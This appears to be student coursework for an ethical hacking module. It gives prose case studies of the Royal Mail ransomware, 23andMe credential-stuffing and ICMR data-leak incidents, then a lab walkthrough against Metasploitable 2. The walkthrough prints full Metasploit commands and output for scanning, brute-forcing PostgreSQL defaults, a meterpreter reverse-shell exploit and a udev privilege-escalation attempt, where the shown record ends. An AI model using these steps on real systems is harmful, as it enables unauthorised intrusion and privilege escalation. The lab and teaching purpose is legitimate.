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Task 1: Ransomware Attack
Organization: Royal Mail, UK
Event: 11 January 2023
Group: Russian LockBit Ransomware Gang
Data Breach: Threat on Data Breach
Ransomware Amount: 33 Million Pounds
Impact: Overseas mail services from UK are shutdown

1. Royal Mail: In the UK, Royal Mail is a postal service and courier business. It manages mail collection, sorting, and delivery as the official universal postal service provider for the United Kingdom. With its extensive history dating back to 1516, Royal Mail is a major player in the nation's postal and delivery services. The postal service began its privatization process in 2013 since it was deemed essential to the country's infrastructure.

1.1 Ransomware Attack: 
Ransomware is a type of malicious software that encrypts and locks data to prevent access and requires payment in order to unlock the contents. It usually sends as an email attachment with an executable file. Ransomware can take over a user's computer system and encrypt their data files, rendering them unreadable, as soon as they download and open this file. 

1.2 Execution: 
1.2.1 Reconnaissance: 
Attackers choose the least difficult route, start with basics and then intensify their attack. Social engineering is typically the first step, which is impossible to minimize and difficult to contain. Phishing emails are the most popular form of social engineering attack. 
1.2.2 Phishing Email: 
A phishing email may contain an unverified website link or an attachment (like a bank statement, job description, or updated billing information) to entice the recipient to click on it and give the appearance that the communication was sent with urgency. The attachment can have malware, like a macro. Macros can be found in common file formats such as Word documents with embedded macros, PDFs with backdoors, and executables like a legitimate software program.
1.2.3 Exploiting the Payload: 
The user will try to access the attachment after confirming that the email is real. An interpreter for commands such as Windows Command Prompt or PowerShell, which provides a set of instructions to execute in the background for querying. It has therefore enabled remote desktop connectivity.  Payload may not be ransomware, but malware that infiltrates the network further using an exploitation technique.
1.2.4 Persistence and Privilege Escalation: 
An attacker can view the network topology, network devices, and host operating system by performing network scanning and enumeration. This provides information about potential vulnerabilities in the network .If the system is in a domain, the attacker can obtain knowledge about the active directory or the list of users on the machine. 
Attackers who are persistent are able to maintain control over the network. Hacker can sign up for other user accounts on the host using the same profiles. Across the network, privileges can be unilaterally elevated. This can be accomplished by exploiting known vulnerabilities, evading user access constraints, credential dumping, etc.   Getting network access at the domain admin level is the ultimate objective.
1.2.5 Attack Mode: 
The attacker will attempt to imitate normal traffic patterns in order to evade detection measures. More instructions are sent to the victim PCs while gaining access to confidential information after establishing a channel of communication with a group of network servers. At this point, the payload of the ransomware can be transmitted. When the attack is executed, the computer files are encrypted and unreadable. Access to system functions will be blocked. To pay the ransomware, the attacker will transmit emails and other data.

1.3 History of the Attack: 
Up until March, Royal Mail would send 152 million parcels abroad, or 200,000 products every day. In a recent instance, Russian-affiliated criminal gangs targeted the computer systems used by Royal Mail to send out packages overseas. According to reports, the demand for the ransomware attack was in the millions.
Subsequently, Royal Mail announced that it could not send mail or goods abroad due to a "cyber incident". Clients were advised not to submit any additional items for the company to ship internationally, and imports continued to function normally with no disruption to domestic services. There may be delays for those who shipped the articles overseas even prior to the occurrence. Royal Mail's services and image are still suffering as a result of the accompanying confusion and disruptions. [1]

1.4 Data Breach: 
In January 2023, Royal Mail's systems were taken hostage by the LockBit ransomware. To free up Royal Mail, the LockBit gang had demanded a new ransom of 33 million pounds. "LockBit Black Ransomware" ransom notes were printed by printers at a Royal Mail distribution facility close to Belfast, Northern Ireland. “Your data is stolen and encrypted”. Operations are disrupted because files are encrypted, ransomware demands payment, and systems are currently shut down. [1]
The group did not disclose any of the stolen data, despite its earlier warnings, until February 23rd, when a 44GB dump was made public via its dark web site. The evidence indicated that there was no financial or client information in this data.

1.5 Impact of the Attack: 
Important Royal Mail devices that printed customs labels for goods abroad had been compromised by ransomware. A service update posted on Royal Mail’s website read, “Royal Mail is experiencing severe service disruption to our international export services following a cyber incident, we are temporarily unable to despatch items to overseas destinations. We strongly recommend that you temporarily hold any export mail items while we work to resolve the issue.” The Information Commissioner’s Office, The National Crime Agency and the National Cyber Security Centre at GCHQ are supporting the inquiry. [1] [2]
[bookmark: _GoBack]But their organization's biggest issue was the complete loss of infrastructure, which caused delays and a great deal of disturbance that was made worse by the post-Christmas delays. Customers were severely impacted by the cyberattack, as some foreign services were unavailable for six weeks. LockBit's operational hardship is evidence of the harm that ransomware can do to an enterprise.

1.6 Remedy to the Attack: 
Royal mail had apologized to people and vowed to up its services as soon as possible. Royal Mail, should have remained extremely vigilant with their cyber security, as the financial and operational costs of a breach could be extremely costly.
Organizations must fortify their security postures in order to protect themselves against these growing dangers. In the event of a cyber incident or breach, expeditious discovery and containment are crucial for safeguarding vital assets and infrastructure. 
When the victims pay the ransomware, they do so with the hope that the files would be opened, but there is no guarantee that this will happen. Restoring from backups, paying the ransomware's authors to release their encrypted network, or holding out hope that a decryption key is accessible to the public are frequently the only options left to victims. [3]

1.7 Conclusion: 
After a ransomware attack, isolate the infected machine, scan it for malware, and get in touch with the police. To counter the attack, look for ransomware patch files online.
Data backups must be kept up to date, whether they are stored on a hard drive, which is highly advised, or in the cloud, which is now feasible. In the case of a cyber incident, the business can restore all services from a local backup system without having to pay for data by simply reinstalling or recreating all of the systems. Organizations should conduct routine testing and maintain offline, encrypted data backups to guard against ransomware. [4]
Maintaining up-to-date security patches and updates on the system. Software for viruses must be installed on the system. Anti-ransomware capabilities in antivirus programs like Kaspersky and Bitdefender check for the presence of encrypted files on a regular basis.  
Deployed as endpoint agents or sensors, Endpoint Detection Response (EDR) gathers security data and forwards it to a central location for additional analysis. EDR solutions support pattern analysis and identification as well as malware detection, which might result in alerts being sent out. In reaction, the incident response team needs to follow its own protocols, which include preparing, containing, eliminating, and recovering quickly. [5]
To guarantee the security of their systems, all firms should put in place strong cyber security measures and employee training. For speedy response and mitigation of ransomware consequences, organizations must have a Ransomware Response Checklist. [4]














Task 1: Credential Stuffing Attack
Organization: 23andme.com, California, USA
Event: October 2023
Data Breach: User Account details in BreachForum
Priced at: $1 to $10 per subscribed user account
Impact: 6.9 million users affected

2. 23andme.com: 23andMe.com is a biotechnology and personal genomics startup that leads the private sector in direct-to-consumer genetic testing and analysis services. After purchasing genetic testing kits and giving a sample of their saliva, users can obtain comprehensive genetic information about their history, health predispositions, carrier status for specific genetic disorders, and features. U.S. Food and Drug Administration (FDA) has authorized some of the provided genetic testing connected to health.

2.1 Credential Stuffing Attack: 
By using automation tools, an attacker can attempt credentials on several websites and services using a list of usernames and passwords that they have obtained via a data breach. An attacker can access a website account and possibly take advantage of private data or carry out unwanted activities if the credentials match the account on the website. Due to the fact that many users reuse their login credentials on numerous websites, credential stiffing attacks are especially successful. The possibility of this attack increases when individuals utilize easily memorable passwords on several different platforms.

2.2 Data Breach: 
In early October, a hacker posted 23andMe individuals' DNA information on the black-hat hacking criminal forum BreachForum. [6] Subsequently, 4 million user records from 23andMe were made public by hackers. According to the hackers, the data contained British citizens with some of the wealthiest individuals residing in the US and Western Europe. 
The genetic testing corporation had admitted that hackers were able to obtain the DNA ancestry information of 7 million people.  A "threat actor" was blamed for the security breach that affected over half of the 14 million users. Using credential stuffing, the threat actor gained access to less than 0.1%, or about 14,000 user accounts, of the 14 million 23andMe subscribers. It also reported that the threat actor might have obtained unauthorized access to 23andme.com accounts in order to gather information about them in violation to our terms of service. [6]
The threat actor started offering 23andMe profiles for $1 to $10 per account, depending on the size of the transaction. The data contained a person's display name, sex, birth year, and some genetic ancestry information, such whether they were predominantly of European or Arabian descent. Additionally, it might provide some more detailed geographic ancestry data. It didn't seem that the information contained real, raw genetic data.

2.3 Impact of the Attack: 
Access was gained to specific 23andMe.com accounts and was used to collect certain 23andMe client profile information. The threat actor used the compromised credential-stuffed accounts to access the data contained in a significant number of DNA Relatives profiles (about 5.5 million) and Family Tree feature profiles (nearly 1.4 million), each of which was linked to the compromised accounts. The sharing of this data, which includes names, birth years, relationship labels, ancestry reports, the percentage of DNA shared with relatives, self-reported locations, and other information, required prior approval from both parties. [7] [8]
Through the stolen accounts, the threat actor was also able to access a feature called Family Tree that held a restricted amount of DNA Relatives profile data. Ancestry reports or the proportion of DNA shared with genetic matches are not included in the Family Tree function.
In other words, the usernames and passwords used on 23andMe.com were identical to those used on other websites that were either publicly available or had already been stolen. There is no evidence that our systems had a data security breach, nor that 23andMe provided the account credentials that were used in these attacks.

2.4 History of the Attack: 
Here are the updates posted on the company blog about the incident, [7]
On October 9, 2023, the US-based company has discovered that specific customer profile data that customers choose to share through our DNA Relatives function is gathered from individual user accounts without the consent of the account holders. As soon as we have learned about the data breach, we have started an inquiry. Even though we are currently investigating, we think, login credentials that are used on 23andMe.com might have been used on other hacked websites. 
On October 20, 2023, to protect our customers' privacy, we have temporarily blocked certain capabilities inside the DNA Relatives tool as part of the ongoing security investigation.
Starting November 6, 2023, as an extra security measure for their accounts, all clients of 23andme.com will have to use email 2-step verification (2SV). Upon creating their account, new clients will be automatically registered in email 2SV. When a current customer signs in for the first time, they will instantly be registered in email 2SV and receive their verification code in their email if they do not currently use an authenticator app.
On December 1, 2023, with the help of external forensic experts, 23andMe have concluded its inquiry. All the affected customers are notified as per legal requirements. We have put in place safeguards including requiring all current customers to update their passwords and introducing 2SV for both new and existing accounts in order to further protect client information. The business will keep investing in data and system security.
When the inquiry concluded on December 5, 2023, the business released its results. We have been emailing all of our customers since we have discovered the event to inform them of the investigation, and we will keep notifying the affected consumers in accordance with the laws that apply. Every 23andMe user should reset their password. Furthermore, all users, past and present, of 23andMe must now authenticate with two-step verification. 23andMe continues to place a high premium on safeguarding the security and privacy of our customers' data, and we will keep making investments to keep our systems and data safe.

2.5 Remedy to the Attack: 
At 23andMe, we are serious about security. To show how strong our security program is, we have three distinct ISO certifications and exceed industry data protection standards. To make sure that your data is secure, we actively and frequently audit and monitor our systems. 
When we learn through those channels or from other means that unauthorized parties have obtained customer data, we look into the matter right away to be sure the information is true. In order to provide an extra security layer and maybe deter criminal users from using stolen passwords to access accounts, we have been encouraging and promoting multi-factor authentication (MFA) among our customers since 2019. [7]
Since detecting the incident, 23andme.com has notified its consumers of an ongoing investigation and enlisted the help of third-part forensic experts. We collaborate with federal law enforcement officers as well.  We have informed every client via email about the investigation, and we will keep informing those who may be affected, in accordance with relevant legal requirements. 
With that, we mandated that each and every 23andMe.com user update their password. With that, we encourage them to take further precautions to keep their account and password secure, We will notify customers immediately and provide additional details if we discover that their data is accessed without their consent. We are urging the usage of multi-factor authentication (MFA) and mandating that all customers update their passwords out of caution. [7]

2.6 Conclusion: 
Use unique combination of login credentials in all the websites and services. Users should use a strong password, not easy to guess. If you notice, any failed login attempts on your accounts or any suspicious activity, take it as a sign of account compromise, contact the website service immediately. Change that account login credentials to protect against credential stuffing attack.
For each website and service login, create and save a complicated, and unique password using a password manager. The password-storage method BCRYPT uses strong security algorithms to stop dictionary DDOS and rainbow attacks. [9]
Enable multi-factor authentication on your account. MFA adds additional layer of security by requiring a second form of verifications such as code sent to your phone. 
PassRefinder is a framework that uses neural networks to estimate the rate of password reuse across websites in order to proactively predict the risk of credential stuffing before interrupting user behavior. [10]
Be aware of emails which link to enter your credentials, instead navigate to the website by typing a URL into a browser. Keep your mobile and computer with reputable anti-virus software and keep up-to-update to evaluate the received emails.


















Task 1: Attack Under Investigation
Organization: ICMR, India
Event: September 2023
Gang: Blacklisted IP in Hong Kong
Data Breach: Personal information leaked on the dark web 
Impact: 815 million Indians affected

3. ICMR: The Indian Council of Medical Research (ICMR) plays a major role in supporting, managing, and conducting biomedical research in India. It is overseen by the Department of Health Research, Ministry of Health and Family Welfare, Government of India. With the use of information acquired at ICMR, public health research and development is improved and crucial steps in the battle against diseases are implemented.

3.1 History of Attack: 
The cybersecurity problem that affected the computers of All India Institute of Medical Sciences (AIIMS), Delhi, lasted for ten days. This incident had shown how the attacks on large hospitals were affecting the hospital's services. The ICMR website had about 6000 hacking attempts in a single day on November 30, 2022, following a ransomware attack on AIIMS a few days earlier. The ICMR website wasn't hacked because of an improved firewall and active security measures. Despite this, since February of this year, there had been several efforts to hack the ICMR.

The American cybersecurity and intelligence organization Resecurity discovered a significant data breach on the ICMR website. On October 9, 2023, a hacker on the dark web site going by the name "pwn001" had the personal data of over 815 million Indians who were registered with the ICMR to take their COVID tests. [11]

3.2 Data Breach: 
Aadhar numbers, passport details, phone numbers, and addresses were among the data that was compromised and made public. This comprised quasi-identifiers, which, when paired with other data, enabled the successful recognition of an individual, and direct identifiers, such as passport information.

Four sizable leak samples with spreadsheet fragments including Aadhar data were released by "pwn001" as part of the leak. The Unique identity Authority of India (UIDAI), acting on behalf of the Indian government, had been issuing 12-digit identity numbers called Aadhar. Indian citizens might verify the legitimacy of Aadhar credentials by utilizing the "Verify Aadhar" feature on a government portal to verify the validity of Aadhar Card ID. [12]
Government services, banks, and telecom companies were using Aadhar Card IDs as the national identity database. There would be major repercussions for the privacy of 815 million Indian citizens as a result of this disclosure of sensitive information.

The Aadhar number, passport number, name, age, gender, phone number, and address of 4 lakh citizens were already included in sample files that the hacker known as "pwn0001" had already posted to the dark web. There will be an auction for the 90 GB of data.

3.3 Impact of the Attack: 
This year in September, there was a security compromise that had an impact on ICMR. With regard to the compromised data, 815 million Indian citizens were affected, or about half of the India’s total population 1.44 billion people.

Cybercriminals were taking advantage of huge, well-funded corporations' systems and networks through creative and sophisticated tactics. Cyberattacks would not spare any organization. For over a year, ICMR remained susceptible to these types of attacks.  The ICMR attack's IP address was linked to a Hong Kong-based blacklisted IP address.

The ICMR data leak was reportedly caused by a weakness in the organization's website. This vulnerability was used by the attackers to obtain access to the ICMR website holding COVID-19 testing database. With this access, phone numbers, addresses, passport details, Aadhar numbers and medical diagnosis of Indian Citizens, doctor details were discovered in the exposed data. Cybercriminals might exploit this private information to commit financial fraud, identity theft, phishing scams, and other malicious activities

The importance of securing online systems had grown as India's healthcare sector had becoming more digitalized. The dangers posed by cyberattacks must be understood by all. Everyone should take precautions to keep their personal information safe from online thieves.

3.4 Remedy of the Attack: 
Despite this, the ICMR has stated that it is aware of the data leak and is investigating its origin. The ICMR was notified of the intrusion by the Computer Emergency Response Team of India (CERT-In), and the sample data was verified to match the ICMR's real data.

According to sources, the National Informatics Centre (NIC) hosts the ICMR website. Regular updates to the firewalls and security measures have reportedly to protect the website. Thus, there was no downtime for the ICMR website. Internal websites and data portals for ICMR projects are hosted by ICMR. The internal infrastructure is secured with an open-source firewall (PFSense) Every active interface is rigorously regulated, and its incoming and outgoing internet traffic is constantly observed for any suspicious activities. [13]

Plans are outlined for the future migration of important data and online portals to Government Community Cloud (GCC).  The insider claims that an RFP (request for proposals) for the acquisition of GCC is currently being drafted and nearing completion. There is currently a turnkey project underway to create an ICMR Data Center in Delhi and Chennai, together with a Disaster-Recovery site in Bangalore.

The source claims that ICMR and all of its facilities would immediately undergo a network security assessment. The Central Bureau of probe (CBI) launched this probe in response to a complaint filed by the ICMR. The Indian Ministry of Information and Broadcasting has promised to release more details after a comprehensive inquiry is finished. Top officials from multiple agencies and ministries have been included. The necessary Standard Operating Procedure (SOP) has been implemented in order to control the harm.

3.5 Conclusion: 
This is a wake-up call for cybersecurity awareness because it is the biggest data leak in India's history. We should all exercise caution when it comes to cybersecurity in light of the ICMR data incident. Keep up with the most recent cybersecurity best practices and threats. Against ever-changing threats, awareness is a powerful defense. We have to take a lot of precautions to guard against data breaches, such as: [14]
- For each of your online accounts, choose a complex and unique password. Mixed capital and lowercase letters, digits, and special characters are usually found in strong passwords. Refrain from utilizing facts that may be guessed, such as birthdays or everyday terms. 
- Security is increased by using multi-factor authentication. It is unlikely that a hacker will be able to access your account without the secondary authentication mechanism (such as a biometric scan or text message code), even if they manage to gain your password. 
- To see the real web address before clicking on a link, move your cursor over it. Check if it corresponds with the trustworthy website you anticipated.
- Phishing emails, which deceive recipients into opening infected attachments or clicking on dangerous links, are frequently the first step in data breaches. Never open an email attachment from an unfamiliar sender. Make sure your email program checks attachments for viruses automatically. Prior to acting, always confirm the legitimacy of the sender and the email's content. 
- Hackers frequently use software flaws as a point of access. Cybersecurity professionals find flaws in software on a regular basis and notify the suppliers. It's critical to install patches or updates as soon as suppliers provide them in order to resolve these problems. When it's feasible, turn on automatic updates, and make sure your apps and gadgets are updated on a regular basis.
- Social engineering is the art of convincing someone to divulge personal information or do actions that compromise security. Imitation, pretexting, baiting, and tailgating are just a few of the ways these scams can happen. Requests for financial or personal information that are not requested should be taken seriously, whether they are made in person, over the phone, or over email. If you are sharing any sensitive information, first confirm the requester's identity via a reliable channel.
- Ensure that you frequently backup critical data to a secure cloud service or an external drive. You will have an encrypted copy of your data in case of a breach or data loss.
- By encrypting your data and rendering it unreadable by unauthorized parties, encryption provides an additional layer of security. Make sure your data is encrypted before sending it over the internet or storing it on cloud services.
- Regularly monitor any unusual behavior with your bank accounts, online accounts, and credit reports. Significant breaches can be avoided by identifying suspicious transactions or indications of illegal access early on.

Your chances of becoming a victim of a data breach can be greatly decreased by adhering to these procedures and keeping a watchful eye on data protection. In today's linked world, it is important to keep in mind that data breaches can occur to anyone, thus taking preventative precautions is essential.




Module: Ethical Hacking
Course Work: Task 2
Deadline: 08/01/2023


CPC Infrastructure:
Oracle Virtual Box is used to replicate a virtual lab scenario in which the attackers target the victim machines. One virtual lab configuration is used for several setups. Three susceptible systems: Bee-Box, DVWA (Damn Vulnerable Web Application), and Metasploitable 2. Rapid7 creates Metasploitable 2, the most vulnerable machine. The bWAPP buggy web application Bee-Box was created by www.itesegames.com. DVWA is available for free.

Scenario: Metasploit Framework:
Attacker Machine: Kali Linux Machine (IP Address: 192.168.100.18)
Victim Machine: Metasploitable 2 (IP Address: 192.168.100.22)

Scenario: MITRE ATT&CK:
Attacket Machine: Kali Linux (192.168.100.18)/ Windows 11 (192.168.100.19
Victim Machine: Bee-Box (IP Address: 192.168.100.21

Scenario: OWASP Top 10 Framework
Victim’s DVWA is instanlled in Kali Linux Machine (IP Address: 10.0.2.15)
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Database: PostgreSQL
Attack Vector: postgresql exploit
Vulnerable Machine: Metasploitable 2
Attacker Machine: Kali Machine
Access Level: Root Access
Cracked Account: PostgreSQL
Framework: Metasploit

4. Introduction: 
An advanced open-source relational database management system (RDBMS) is PostgreSQL which can handle sophisticated join operations, subqueries, window functions, and common table expressions in addition to other complex SQL queries. A PostgreSQL exploit is identified in Metasploitable 2, vulnerable machine developed by Rapid7. [15]  The metasploit framework console, msfconsole in the Kali Linux machine is utilized to run the exploit and obtain the root privileges.

4.1 Metasploit Framework: 
It is the well-known exploitation, module-based framework. It is developed and written in Ruby language by Rapid7. It has multiple interfaces namely, 
- msfconsole: an interactive CLI. 
- Armitage: a graphical user Interface
- msfcli: a Linux Command Line interface
- msfweb – a web browser based interface.

In kali attacker machine, we are using msfconsole command, with which metasploit framework is started. It is located in /usr/share/metasploit-framework. It has two components, Library and modules. Different types of modules exists, such as, 
- Exploit:  module that takes advantage of a system vulnerabilities and it will install the payload. 
- Payloads: permits attacks on the machine where payload is installed.
- Auxiliary: adds additional features to the attacks using vulnerability scanners, sniffers, crawler.
- Encoders: helps to get past the anti-virus in the system by re-encoding payloads and exploits.
- Nops: allow to exploit buffer-overflow attacks using remote code execution on the system. 
- Post – performs extra attacks after system is exploitation.

4.2 Penetration Testing Tools: 
All tools are used in metasploit framework tool - msfconsole
ifconfig, netdiscover, nmap, psql, msfconsole – auxiliary, exploit module, meterpreter

4.3 Metasploit Framework: Penetration Testing Stages
4.3.1 Information Gathering 
4.3.2. Exploitation
4.3.3 Post Exploitation 
- Gaining Access
- Privilege Escalation
4.3.4 Reporting




4.3 Metasploit Framework: Penetration Testing Stages
4.3.1 Information Gathering
At first, 192.168.100.18 is found to be the host IP. Conducted a basic discovery scan on the host network and found that hosts 192.168.100.3 and 192.168.100.22 were of interest.

msf6 > ifconfig 
[*] exec: ifconfig
eth0: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
        inet 192.168.100.18 netmask 255.255.255.0 broadcast 192.168.100.255
       -----

msf6> netdiscover –r 192.168.100.0/24
 Currently scanning: Finished!   |   Screen View:  Unique Hosts                                    
                                                                                                 
 4 Captured ARP Req  packets, from 4 hosts,   Total size: 240                                  
 _____________________________________________________________________________
   IP                       MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.100.1   52:54:00:12:35:00      1      60  Unknown vendor                                 
 192.168.100.2   52:54:00:12:35:00      1      60  Unknown vendor                                 
 192.168.100.3   08:00:27:79:41:b7      1      60  PCS Systemtechnik GmbH                         
 192.168.100.22  08:00:27:c9:8a:ad      1      60  PCS Systemtechnik GmbH                         
Interrupt: use the 'exit' command to quit

To gather more information about the interested hosts, 192.168.100.3 and 192.168.100.22, used nmap scan to collect host details and both are identified as Oracle Virtual Box machines.
msf6 > nmap -sn 192.168.100.0/24
------ ------ ------
Nmap scan report for 192.168.100.1
Host is up (0.00027s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 192.168.100.2
Host is up (0.00025s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 192.168.100.3
Host is up (0.00025s latency).
MAC Address: 08:00:27:79:41:B7 (Oracle VirtualBox virtual NIC) 
Nmap scan report for 192.168.100.22
Host is up (0.00031s latency).
MAC Address: 08:00:27:C9:8A: AD (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.100.18
Host is up.
Nmap done - 256 IP addresses (5 hosts up) scanned in 7.52 seconds

With the help of the nmap command below, more details are obtained about the hosts' open ports and the operating system. Due to the machine's outdated software, which leaves it more vulnerable than other hosts, host 192.168.100.22 is chosen to carry out the exploit.
msf6 > nmap -sV 192.168.100.0/24
[*] exec: nmap -sV 192.168.100.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-06 08:23 EST
Nmap scan report for 192.168.100.1
Host is up (0.00017s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
53/tcp open  domain  Simple DNS Plus
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 192.168.100.2
Host is up (0.0011s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
3000/tcp open http          Node.js Express framework
3389/tcp open ms-wbt-server Microsoft Terminal Services
7777/tcp open http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 192.168.100.3
Host is up (0.000077s latency).
All 1000 scanned ports on 192.168.100.3 are in ignored states.
Not shown: 1000 filtered tcp ports (proto-unreach)
MAC Address: 08:00:27:79:41:B7 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.100.22
Host is up (0.00013s latency).
Not shown: 977 closed tcp ports (reset) 
PORT     STATE SERVICE     VERSION
21/tcp open ftp         ProFTPD 1.3.1
--------- --------
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:C9:8A:AD (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.100.18
Host is up (0.0000040s latency).
All 1000 scanned ports on 192.168.100.18 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
Nmap done: 256 IP addresses (5 hosts up) scanned in 28.30 seconds

It is decided to perform this penetration testing operation on the susceptible machine's PostgreSQL database, which is found running on TCP port 5432. Use the following nmap command to gather specific information, such as the PostgreSQL version.
msf6 > nmap -A -p 5432 192.168.100.22
[*] exec: nmap -A -p 5432 192.168.100.22
----- ------- 
Host is up (0.00032s latency).
PORT     STATE SERVICE    VERSION
5432/tcp open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
----- ------ ---- 
Service detection performed. 
Nmap done: 1 IP address (1 host up) scanned in 6.46 seconds

To implement Metasploit framework effectively, run a search on PostgreSQL in msfconsole to find the available PostgreSQL scanners currently in the auxiliary module. Set the remote host IP address as 192.168.100.22 to use the scanner module postgres_version to gather the specific PostgreSQL version and to confirm the version using the above steps are correct.

msf6 > use auxiliary/scanner/postgres/postgres_
Matching Modules
================
   #  Name                                                      	                   Disclosure    Date  Rank    Check-Description
   -  ----                                                      			 ---------------    ----    -----  	-----------
   0  auxiliary/scanner/postgres/postgres_dbname_flag_injection normal  No  PostgreSQL DbName Command Line Flag Injection
   1  auxiliary/scanner/postgres/postgres_login                           normal  No  PostgreSQL Login Utility
   2  auxiliary/scanner/postgres/postgres_version                      normal  No   PostgreSQL Version Probe
   3  auxiliary/scanner/postgres/postgres_hashdump                normal  No   Postgres Password Hashdump
   4  auxiliary/scanner/postgres/postgres_schemadump           normal  No     Postgres Schema Dump Interact with a module by name or index. For example info 4, use 4 or use auxiliary/scanner/postgres/postgres_schemadump                                                                          
msf6 auxiliary(scanner/postgres/postgres_version) > set rhosts 192.168.100.22
rhosts => 192.168.100.22
msf6 auxiliary(scanner/postgres/postgres_version) > run
[*] 192.168.100.22:5432 Postgres - Version PostgreSQL 8.3.1 

4.3.2 Exploitation:
Auxiliary Scanner Module references to CVE-1999-0502 which marks any Unix account with default, null, blank, missing password. Set the username to root to verify the default password. But Metasploit did brute forcing attack with its combination of username and password and identified username postgres and password postgres are indeed used as login credentials to log into PostgreSQL database. [16]
msf6 auxiliary(scanner/postgres/postgres_login) > set username root
username => root
msf6 auxiliary(scanner/postgres/postgres_login) > set user_as_pass true
user_as_pass => true
msf6 auxiliary(scanner/postgres/postgres_login) > set stop_on_success true
stop_on_success => true
msf6 auxiliary(scanner/postgres/postgres_login) > set rhosts 192.168.100.22
rhosts => 192.168.100.22
msf6 auxiliary(scanner/postgres/postgres_login) > run
----- ------ ----- 
[-] 192.168.100.22:5432 - LOGIN FAILED: root:root@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.22:5432 - LOGIN FAILED: root:@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.22:5432 - LOGIN FAILED: root:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.22:5432 - LOGIN FAILED: root:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.22:5432 - LOGIN FAILED: root:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.22:5432 - LOGIN FAILED: root:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.22:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.22:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.22:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.22:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.22:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.22:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[+] 192.168.100.22:5432 - Login Successful: postgres:postgres@template1

4.3.3 Post-Exploitation:
- Gaining Access:
Using the username and password gathered from brute force attack, verified the login credentials against PostgreSQL database and it is successful.                                                                              
└─$ psql -h 192.168.100.22 -U postgres
Password for user postgres: 
psql (16.1 (Debian 16.1-1), server 8.3.1)
WARNING: psql major version 16, server major version 8.3.
         ----- -----
postgres=# 
postgres=#

To verify the current database available in the PostgreSQL, schema dump scanner module in Metasploit Framework is utilized to collect the database names as postgres, template0, and template1. This is observed in the below output,
msf6 auxiliary(scanner/postgres/postgres_schemadump) > set rhosts 192.168.100.22
rhosts => 192.168.100.22
msf6 auxiliary(scanner/postgres/postgres_schemadump) > run
[*] 192.168.100.22:5432 - Found databases: template1, template0, postgres. Ignoring template1, template0.
[+] Postgres SQL Server Schema 
 Host: 192.168.100.22 
 Port: 5432 
 ====================
- DBName: postgres
  Tables: []

Next, using a postgres exploit module (postgres_payload) helps to establish a shell connection using meterpreter payload, reverse shell. This is in reference with CVE-2007-3280. This vulnerability uses the Database Link library (dblink) in PostgreSQL 8.1 along with the C programming language. Remotely authorized super users can map and execute this function from any library. This can be seen by using the system function in libc.so.6 to obtain shell access. As a result, meterpreter session with postgres login is established with shell command execution. [17]
msf6 exploit(linux/postgres/postgres_payload) > set rhosts 192.168.100.22
rhosts => 192.168.100.22
msf6 exploit(linux/postgres/postgres_payload) > set lhost 192.168.100.18
lhost => 192.168.100.18
msf6 exploit(linux/postgres/postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.100.18:4444 
----- ----- ------
meterpreter > getuid
Server username: postgres
meterpreter > shell
Process 4706 created.
Channel 1 created.
id
uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres)
whoami
postgres
exit
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(linux/postgres/postgres_payload) > sessions
Active sessions
===============
  Id  Name  Type                   Information                        Connection
  1         meterpreter x86/linux  postgres @ metasploitable.localdo  192.168.100.18:4444 -> 192.168.10
                                   main                               0.22:42290 (192.168.100.22)


Privilege Escalation:
Privilege Escalation exploit module (udev_netlink) is used to gain root access. It is related to CVE-ID: CVE-2009-1185. Prior to version 1.4.1, udev failed to determine whether a NETLINK message originated in kernel space, allowing local users to send a NETLINK message from user space and gain access to privileges. Since udev packages don't communicate via netlink sockets, they are not impacted by this bug in Red Hat Enterprise Linux 4. [18]
msf6 exploit(linux/local/udev_netlink) > set session 1
session => 1
msf6 exploit(linux/local/udev_netlink) > sessions
Active sessions
===============
   Id  Name  Type                   Information                        Connection
  1         meterpreter x86/linux  postgres @ metasploitable.localdo  192.168.100.18:4444 -> 192.168.10
                                   main                               0.22:42290 (192.168.100.22)
msf6 exploit(linux/local/udev_netlink) > exploit
